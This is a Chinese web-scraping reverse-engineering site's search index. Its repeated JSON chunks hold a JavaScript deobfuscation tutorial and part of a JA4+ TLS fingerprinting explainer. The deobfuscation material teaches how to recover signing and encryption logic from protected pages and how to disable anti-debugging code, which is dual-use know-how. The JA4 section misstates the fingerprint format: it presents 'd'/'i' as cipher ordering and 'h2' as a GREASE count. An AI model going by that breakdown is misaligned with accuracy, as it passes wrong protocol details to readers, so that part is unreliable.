","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:7:2","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#32-本地工具"},{"categories":null,"collections":null,"content":"3.2 本地工具 Babel + AST (推荐) 安装: npm install @babel/core @babel/parser @babel/traverse @babel/generator @babel/types 基础反混淆脚本: const parser = require(\"@babel/parser\"); const traverse = require(\"@babel/traverse\").default; const generator = require(\"@babel/generator\").default; const t = require(\"@babel/types\"); const fs = require(\"fs\"); // 读取混淆代码 const code = fs.readFileSync(\"obfuscated.js\", \"utf-8\"); const ast = parser.parse(code); // 1. 常量折叠 traverse(ast, { BinaryExpression(path) { const result = path.evaluate(); if (result.confident) { path.replaceWith(t.valueToNode(result.value)); } }, }); // 2. 字符串数组还原（需要先执行数组初始化代码） // 具体实现见 07-Scripts/deobfuscation_scripts.md // 3. 删除死代码 traverse(ast, { IfStatement(path) { const test = path.get(\"test\").evaluate(); if (test.confident) { if (test.value) { path.replaceWithMultiple(path.node.consequent.body); } else if (path.node.alternate) { path.replaceWith(path.node.alternate); } else { path.remove(); } } }, }); // 输出结果 const output = generator(ast, {}, code); fs.writeFileSync(\"deobfuscated.js\", output.code); 详细的 AST 反混淆脚本见：反混淆脚本 webcrack (Webpack 专用) npm install -g webcrack webcrack bundle.js -o output/ 功能: 自动识别 Webpack 打包 提取模块代码 还原目录结构 重命名变量 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:7:2","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#babel--ast-推荐"},{"categories":null,"collections":null,"content":"3.2 本地工具 Babel + AST (推荐) 安装: npm install @babel/core @babel/parser @babel/traverse @babel/generator @babel/types 基础反混淆脚本: const parser = require(\"@babel/parser\"); const traverse = require(\"@babel/traverse\").default; const generator = require(\"@babel/generator\").default; const t = require(\"@babel/types\"); const fs = require(\"fs\"); // 读取混淆代码 const code = fs.readFileSync(\"obfuscated.js\", \"utf-8\"); const ast = parser.parse(code); // 1. 常量折叠 traverse(ast, { BinaryExpression(path) { const result = path.evaluate(); if (result.confident) { path.replaceWith(t.valueToNode(result.value)); } }, }); // 2. 字符串数组还原（需要先执行数组初始化代码） // 具体实现见 07-Scripts/deobfuscation_scripts.md // 3. 删除死代码 traverse(ast, { IfStatement(path) { const test = path.get(\"test\").evaluate(); if (test.confident) { if (test.value) { path.replaceWithMultiple(path.node.consequent.body); } else if (path.node.alternate) { path.replaceWith(path.node.alternate); } else { path.remove(); } } }, }); // 输出结果 const output = generator(ast, {}, code); fs.writeFileSync(\"deobfuscated.js\", output.code); 详细的 AST 反混淆脚本见：反混淆脚本 webcrack (Webpack 专用) npm install -g webcrack webcrack bundle.js -o output/ 功能: 自动识别 Webpack 打包 提取模块代码 还原目录结构 重命名变量 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:7:2","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#webcrack-webpack-专用"},{"categories":null,"collections":null,"content":"4. 手动反混淆技巧 当自动化工具失效时，我们需要\"手术刀\"式精准操作。 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:8:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#4-手动反混淆技巧"},{"categories":null,"collections":null,"content":"4.1 Chrome DevTools 技巧 重命名符号 (Rename Symbol) 在 Sources 面板打开混淆代码 右键变量名 → “Rename Symbol” 输入有意义的名称（如 token, timestamp） DevTools 会自动重命名该作用域内的所有引用 格式化代码 (Pretty Print) 点击左下角 {} 按钮自动格式化 将单行代码展开为多行，便于阅读 条件断点 (Conditional Breakpoint) 右键行号 → “Add conditional breakpoint” 输入条件：userId === 12345 只在特定条件下断点，避免频繁中断 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:8:1","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#41-chrome-devtools-技巧"},{"categories":null,"collections":null,"content":"4.1 Chrome DevTools 技巧 重命名符号 (Rename Symbol) 在 Sources 面板打开混淆代码 右键变量名 → “Rename Symbol” 输入有意义的名称（如 token, timestamp） DevTools 会自动重命名该作用域内的所有引用 格式化代码 (Pretty Print) 点击左下角 {} 按钮自动格式化 将单行代码展开为多行，便于阅读 条件断点 (Conditional Breakpoint) 右键行号 → “Add conditional breakpoint” 输入条件：userId === 12345 只在特定条件下断点，避免频繁中断 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:8:1","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#重命名符号-rename-symbol"},{"categories":null,"collections":null,"content":"4.1 Chrome DevTools 技巧 重命名符号 (Rename Symbol) 在 Sources 面板打开混淆代码 右键变量名 → “Rename Symbol” 输入有意义的名称（如 token, timestamp） DevTools 会自动重命名该作用域内的所有引用 格式化代码 (Pretty Print) 点击左下角 {} 按钮自动格式化 将单行代码展开为多行，便于阅读 条件断点 (Conditional Breakpoint) 右键行号 → “Add conditional breakpoint” 输入条件：userId === 12345 只在特定条件下断点，避免频繁中断 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:8:1","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#格式化代码-pretty-print"},{"categories":null,"collections":null,"content":"4.1 Chrome DevTools 技巧 重命名符号 (Rename Symbol) 在 Sources 面板打开混淆代码 右键变量名 → “Rename Symbol” 输入有意义的名称（如 token, timestamp） DevTools 会自动重命名该作用域内的所有引用 格式化代码 (Pretty Print) 点击左下角 {} 按钮自动格式化 将单行代码展开为多行，便于阅读 条件断点 (Conditional Breakpoint) 右键行号 → “Add conditional breakpoint” 输入条件：userId === 12345 只在特定条件下断点，避免频繁中断 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:8:1","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#条件断点-conditional-breakpoint"},{"categories":null,"collections":null,"content":"4.2 Console REPL 技巧 执行并替换 遇到复杂表达式，直接在 Console 计算结果： // 混淆代码 var a = 0x1bb * 0x2 - 0x64; // Console 中执行 0x1bb * 0x2 - 0x64; // 输出: 790 // 手动替换为 var a = 790; 导出大数组 // 混淆代码中有巨大的数组 var _0xabcd = [ /* 几千个元素 */ ]; // Console 中 copy(_0xabcd); // 自动复制到剪贴板 提取解密函数 // 混淆代码中的解密函数 var _0x5678 = function (index) { return _0xabcd[index]; }; // 在 Console 中挂载为全局函数 window.decrypt = _0x5678; // 然后可以批量解密 for (let i = 0; i \u003c 10; i++) { console.log(i, decrypt(i)); } ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:8:2","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#42-console-repl-技巧"},{"categories":null,"collections":null,"content":"4.2 Console REPL 技巧 执行并替换 遇到复杂表达式，直接在 Console 计算结果： // 混淆代码 var a = 0x1bb * 0x2 - 0x64; // Console 中执行 0x1bb * 0x2 - 0x64; // 输出: 790 // 手动替换为 var a = 790; 导出大数组 // 混淆代码中有巨大的数组 var _0xabcd = [ /* 几千个元素 */ ]; // Console 中 copy(_0xabcd); // 自动复制到剪贴板 提取解密函数 // 混淆代码中的解密函数 var _0x5678 = function (index) { return _0xabcd[index]; }; // 在 Console 中挂载为全局函数 window.decrypt = _0x5678; // 然后可以批量解密 for (let i = 0; i \u003c 10; i++) { console.log(i, decrypt(i)); } ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:8:2","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#执行并替换"},{"categories":null,"collections":null,"content":"4.2 Console REPL 技巧 执行并替换 遇到复杂表达式，直接在 Console 计算结果： // 混淆代码 var a = 0x1bb * 0x2 - 0x64; // Console 中执行 0x1bb * 0x2 - 0x64; // 输出: 790 // 手动替换为 var a = 790; 导出大数组 // 混淆代码中有巨大的数组 var _0xabcd = [ /* 几千个元素 */ ]; // Console 中 copy(_0xabcd); // 自动复制到剪贴板 提取解密函数 // 混淆代码中的解密函数 var _0x5678 = function (index) { return _0xabcd[index]; }; // 在 Console 中挂载为全局函数 window.decrypt = _0x5678; // 然后可以批量解密 for (let i = 0; i \u003c 10; i++) { console.log(i, decrypt(i)); } ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:8:2","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#导出大数组"},{"categories":null,"collections":null,"content":"4.2 Console REPL 技巧 执行并替换 遇到复杂表达式，直接在 Console 计算结果： // 混淆代码 var a = 0x1bb * 0x2 - 0x64; // Console 中执行 0x1bb * 0x2 - 0x64; // 输出: 790 // 手动替换为 var a = 790; 导出大数组 // 混淆代码中有巨大的数组 var _0xabcd = [ /* 几千个元素 */ ]; // Console 中 copy(_0xabcd); // 自动复制到剪贴板 提取解密函数 // 混淆代码中的解密函数 var _0x5678 = function (index) { return _0xabcd[index]; }; // 在 Console 中挂载为全局函数 window.decrypt = _0x5678; // 然后可以批量解密 for (let i = 0; i \u003c 10; i++) { console.log(i, decrypt(i)); } ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:8:2","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#提取解密函数"},{"categories":null,"collections":null,"content":"4.3 提取和重写 三元表达式展开 // 混淆代码 var result = a ? b : c ? d : e ? f : g; // 改写为 if-else var result; if (a) { result = b; } else if (c) { result = d; } else if (e) { result = f; } else { result = g; } 逗号表达式拆分 // 混淆代码 var a = ((b = 1), (c = 2), (d = b + c), d * 2); // 拆分为 var b = 1; var c = 2; var d = b + c; var a = d * 2; ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:8:3","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#43-提取和重写"},{"categories":null,"collections":null,"content":"4.3 提取和重写 三元表达式展开 // 混淆代码 var result = a ? b : c ? d : e ? f : g; // 改写为 if-else var result; if (a) { result = b; } else if (c) { result = d; } else if (e) { result = f; } else { result = g; } 逗号表达式拆分 // 混淆代码 var a = ((b = 1), (c = 2), (d = b + c), d * 2); // 拆分为 var b = 1; var c = 2; var d = b + c; var a = d * 2; ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:8:3","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#三元表达式展开"},{"categories":null,"collections":null,"content":"4.3 提取和重写 三元表达式展开 // 混淆代码 var result = a ? b : c ? d : e ? f : g; // 改写为 if-else var result; if (a) { result = b; } else if (c) { result = d; } else if (e) { result = f; } else { result = g; } 逗号表达式拆分 // 混淆代码 var a = ((b = 1), (c = 2), (d = b + c), d * 2); // 拆分为 var b = 1; var c = 2; var d = b + c; var a = d * 2; ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:8:3","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#逗号表达式拆分"},{"categories":null,"collections":null,"content":"5. 反混淆实战案例 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:9:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#5-反混淆实战案例"},{"categories":null,"collections":null,"content":"案例 1: obfuscator.io 字符串数组还原 混淆代码: var _0x4a5b = [\"aGVsbG8=\", \"d29ybGQ=\"]; (function (_0x3e7a90, _0x1c9f47) { var _0x5d8c12 = function (_0x2f8c1d) { while (--_0x2f8c1d) { _0x3e7a90[\"push\"](_0x3e7a90[\"shift\"]()); } }; _0x5d8c12(++_0x1c9f47); })(_0x4a5b, 0x123); var _0x5678 = function (_0x3e7a90, _0x1c9f47) { // ...解密逻辑 }; console[_0x5678(\"0x0\")](_0x5678(\"0x1\")); 还原步骤: 执行初始化代码（在 Console）: var _0x4a5b = [\"aGVsbG8=\", \"d29ybGQ=\"]; (function (_0x3e7a90, _0x1c9f47) { var _0x5d8c12 = function (_0x2f8c1d) { while (--_0x2f8c1d) { _0x3e7a90[\"push\"](_0x3e7a90[\"shift\"]()); } }; _0x5d8c12(++_0x1c9f47); })(_0x4a5b, 0x123); 执行解密函数: var _0x5678 = function (_0x3e7a90, _0x1c9f47) { // 复制完整的解密函数代码 }; // 测试 _0x5678(\"0x0\"); // 输出: \"log\" _0x5678(\"0x1\"); // 输出: \"hello\" 批量替换: 使用正则表达式或 AST 工具将所有 _0x5678('0x...') 替换为解密后的字符串 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:9:1","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#案例-1-obfuscatorio-字符串数组还原"},{"categories":null,"collections":null,"content":"案例 2: 控制流平坦化还原 混淆代码: function checkPassword(pwd) { var _0x1 = \"2|0|3|1|4\".split(\"|\"), _0x2 = 0; while (true) { switch (_0x1[_0x2++]) { case \"0\": if (pwd.length \u003c 8) return false; continue; case \"1\": if (!/[A-Z]/.test(pwd)) return false; continue; case \"2\": var result = true; continue; case \"3\": if (!/[0-9]/.test(pwd)) return false; continue; case \"4\": return result; } break; } } 还原步骤: 识别状态序列: '2|0|3|1|4' 按顺序重组代码: function checkPassword(pwd) { var result = true; // case '2' if (pwd.length \u003c 8) return false; // case '0' if (!/[0-9]/.test(pwd)) return false; // case '3' if (!/[A-Z]/.test(pwd)) return false; // case '1' return result; // case '4' } ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:9:2","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#案例-2-控制流平坦化还原"},{"categories":null,"collections":null,"content":"6. 反混淆最佳实践 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:10:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#6-反混淆最佳实践"},{"categories":null,"collections":null,"content":"6.1 渐进式反混淆 不要试图一次性还原所有代码，采用分层策略： 第一层：格式化 - 使用 Prettier 美化代码 第二层：字符串还原 - 还原字符串数组和编码 第三层：常量折叠 - 计算所有常量表达式 第四层：死代码删除 - 移除无效分支 第五层：变量重命名 - 赋予变量有意义的名称 第六层：控制流还原 - 处理控制流平坦化（可选） ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:10:1","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#61-渐进式反混淆"},{"categories":null,"collections":null,"content":"6.2 保留中间结果 每一步都保存文件： obfuscated.js // 原始 01_formatted.js // 格式化 02_strings_restored.js // 字符串还原 03_constants_folded.js // 常量折叠 04_dead_code_removed.js // 死代码删除 05_final.js // 最终版本 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:10:2","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#62-保留中间结果"},{"categories":null,"collections":null,"content":"6.3 验证正确性 每次变换后都要验证： // 在 Console 中对比输出 eval(原始代码).someFunction(testInput); eval(还原代码).someFunction(testInput); // 两者应该返回相同结果 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:10:3","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#63-验证正确性"},{"categories":null,"collections":null,"content":"6.4 关注核心逻辑 不要浪费时间还原整个文件： 目标明确: 只还原加密/签名相关函数 黑盒调用: 对于复杂的辅助函数，直接调用而不是理解 RPC 策略: 实在无法还原，考虑通过 RPC 调用浏览器执行 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:10:4","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#64-关注核心逻辑"},{"categories":null,"collections":null,"content":"7. 常见问题与解决方案 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:11:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#7-常见问题与解决方案"},{"categories":null,"collections":null,"content":"Q1: AST 工具报错 “Cannot read property ’type'” 原因: 某个节点被错误地删除或替换 解决: 在替换前检查节点是否存在 if (path.node \u0026\u0026 t.isIdentifier(path.node)) { // 安全操作 } ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:11:1","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#q1-ast-工具报错-cannot-read-property-type"},{"categories":null,"collections":null,"content":"Q2: 字符串数组还原后仍然是乱码 原因: 字符串经过多重编码（Base64 → XOR → ROT13） 解密函数依赖运行时动态生成的密钥 解决: 在浏览器环境中执行初始化代码 使用 Node.js 的 VM 模块模拟浏览器环境 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:11:2","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#q2-字符串数组还原后仍然是乱码"},{"categories":null,"collections":null,"content":"Q3: 控制流平坦化无法自动还原 原因: 状态跳转使用动态计算（非简单字符串） 解决: 手动跟踪状态转移 使用动态插桩记录实际执行路径 接受部分还原，关注关键代码块 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:11:3","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#q3-控制流平坦化无法自动还原"},{"categories":null,"collections":null,"content":"Q4: 反混淆后代码无法运行 原因: 丢失了必要的上下文（闭包变量） 自我防御代码检测到修改 解决: 保留完整的作用域链 禁用反调试代码（见 调试技巧） ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:11:4","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#q4-反混淆后代码无法运行"},{"categories":null,"collections":null,"content":"8. 工具与资源 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:12:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#8-工具与资源"},{"categories":null,"collections":null,"content":"推荐工具 工具 用途 链接 AST Explorer 可视化 AST 结构 https://astexplorer.net/ Babel REPL 测试 Babel 转换 https://babeljs.io/repl webcrack Webpack 反混淆 https://github.com/j4k0xb/webcrack synchrony 自动反混淆 https://deobfuscate.relative.im/ ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:12:1","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#推荐工具"},{"categories":null,"collections":null,"content":"学习资源 Babel Plugin Handbook AST 解析工具 反混淆脚本合集 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:12:2","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#学习资源"},{"categories":null,"collections":null,"content":"9. 总结 JavaScript 反混淆是一门艺术，需要结合： 工具: 自动化处理重复性工作 技巧: 手动处理特殊情况 经验: 快速识别混淆类型和核心逻辑 耐心: 复杂混淆可能需要数小时乃至数天 核心原则: 不要追求完美还原，理解核心逻辑即可 善用动态分析，结合静态反混淆 建立自己的工具库和脚本集 保持学习，混淆技术在不断演进 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:13:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#9-总结"},{"categories":null,"collections":null,"content":"相关章节 AST 解析工具 反混淆脚本 调试技巧与断点设置 JavaScript 虚拟机保护 动态参数分析 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:14:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#相关章节"},{"categories":null,"collections":null,"content":"JA4+ TLS/QUIC 指纹识别技术详解 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： JA3 指纹技术 - 理解 JA3 的原理与局限性 QUIC 协议基础 - 了解 HTTP/3 的传输层变化 JA4+ 是由 FoxIO (原 Salesforce 的 JA3 团队) 开发的一套网络指纹识别方法的集合，旨在成为 JA3 的下一代演进版本。它不仅仅是对 JA3 的简单升级，而是一个更全面、更具结构化和可操作性的指纹套件，旨在解决 JA3 的核心痛点，并扩展到 QUIC 和 HTTP 等协议。 ","date":"2025-02-18","objectID":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/:0:0","tags":["浏览器指纹","签名验证","SSL Pinning","代理池","网络分析","加密分析"],"title":"JA4+ TLS/QUIC 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/#ja4-tlsquic-指纹识别技术详解"},{"categories":null,"collections":null,"content":"为什么需要 JA4+ (JA3 的局限性) JA3 是一个非常成功的技术，但其核心设计——一个单一的 MD5 哈希——带来了几个无法克服的挑战： 缺乏上下文: 一个 MD5 哈希是不透明的。e7d705a3... 和 a8d9b1c2... 这两个哈希值，我们无法判断它们代表的客户端有多相似。可能只是 TLS 扩展顺序的一个微小变化，就导致了完全不同的哈希。 “雪崩效应”: 客户端的任何微小更新（例如，Chrome 101 -\u003e 102）都可能导致 JA3 哈希完全改变，使得基于精确匹配的规则变得非常脆弱。 难以进行模糊搜索: 无法进行\"搜索所有使用 TLS 1.3 但不包含某个特定加密套件的客户端\"这样的灵活查询。 易于被模仿: 攻击者只需要精确复现 Client Hello 的特定字段，就能完全复制一个合法应用的 JA3 哈希。 JA4+ 的诞生就是为了解决这些问题。 ","date":"2025-02-18","objectID":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/:1:0","tags":["浏览器指纹","签名验证","SSL Pinning","代理池","网络分析","加密分析"],"title":"JA4+ TLS/QUIC 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/#为什么需要-ja4-ja3-的局限性"},{"categories":null,"collections":null,"content":"JA4 的核心设计 - 不再是哈希 JA4 最大的革新是放弃了单一、不透明的哈希值，转而采用一种结构化、人类可读的字符串格式。这使得指纹本身就携带了丰富的上下文信息。 JA4 的指纹格式为：Protocol_Version_Ciphers_Extensions_Signature，每个部分都有特定的含义和构造方法。 一个典型的 JA4 指纹例子：t13d1516h2_174735a34e8a_b2149a751699 我们来分解它： t (Protocol): 协议。t 代表 TLS, q 代表 QUIC。 13 (TLS Version): Client Hello 中支持的最高 TLS 版本。12 = TLS 1.2, 13 = TLS 1.3。 d1516h2 (Ciphers \u0026 Extensions Count): d: 客户端支持的加密套件是有序的 (sorted)。i 表示无序 (insipid)。 15: 客户端提供了 15 个加密套件。 16: 客户端提供了 16 个扩展。 h2: 客户端在 Client Hello 中使用了 2 个 GREASE (Generate Random Extensions And Sustain Extensibility) 值，这通常是现代浏览器的特征。 _ (分隔符) 174735a34e8a (Extensions): 这是对有序的扩展列表进行特定算法计算后得到的部分哈希。相似的扩展列表会产生相似的哈希前缀。 _ (分隔符) b2149a751699 (Signature Algorithms): 这是对签名算法和支持的组（椭圆曲线）进行部分哈希计算后得到的值。 这种结构使得指纹既能用于精确匹配，也能用于强大的模糊匹配。 ","date":"2025-02-18","objectID":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/:2:0","tags":["浏览器指纹","签名验证","SSL Pinning","代理池","网络分析","加密分析"],"title":"JA4+ TLS/QUIC 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/#ja4-的核心设计---不再是哈希"},{"categories":null,"collections":null,"content":"JA4+ 套件概览 JA4+ 不是单一的工具，而是一个方法论集合。 ","date":"2025-02-18","objectID":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/:3:0","tags":["浏览器指纹","签名验证","SSL Pinning","代理池","网络分析","加密分析"],"title":"JA4+ TLS/QUIC 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/#ja4-套件概览"},{"categories":null,"collections":null,"content":"JA4 (客户端 TLS) 目标: 识别发起 TLS 连接的客户端应用。 格式: 如上所述的 p_v_c_e_s 结构。 ","date":"2025-02-18","objectID":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/:3:1","tags":["浏览器指纹","签名验证","SSL Pinning","代理池","网络分析","加密分析"],"title":"JA4+ TLS/QUIC 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/#ja4-客户端-tls"},{"categories":null,"collections":null,"content":"JA4S (服务器端 TLS) 目标: 识别响应 TLS 连接的服务器应用。 格式: p_v_c_e，比客户端指纹稍简单。 例如：t13d03_a06f30d07525 t = TLS, 13 = TLS 1.3, d = 有序, 03 = 3 个扩展, a06... = 扩展的部分哈希。 应用: 将 JA4 和 JA4S 结合，可以进行更精准的匹配，例如\"只告警这个特定 JA4 连接到这个特定 JA4S 的行为\"。 ","date":"2025-02-18","objectID":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/:3:2","tags":["浏览器指纹","签名验证","SSL Pinning","代理池","网络分析","加密分析"],"title":"JA4+ TLS/QUIC 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/#ja4s-服务器端-tls"},{"categories":null,"collections":null,"content":"JA4H (HTTP 客户端) 目标: 对 HTTP 请求进行指纹识别，作为对 JA4 的补充。 格式: p_m_v_h p: 协议 (h=HTTP/1, h2=HTTP/2)。 m: 请求方法 (g=GET, p=POST)。 v: HTTP 版本。 h: 对 HTTP Header 的特定组合进行哈希。 应用: 可以用来检测 JA4 欺骗。例如，一个声称自己是 Chrome 的 JA4 指纹，却发送了不符合 Chrome 行为的 JA4H 指纹，这很可能是一个恶意客户端。 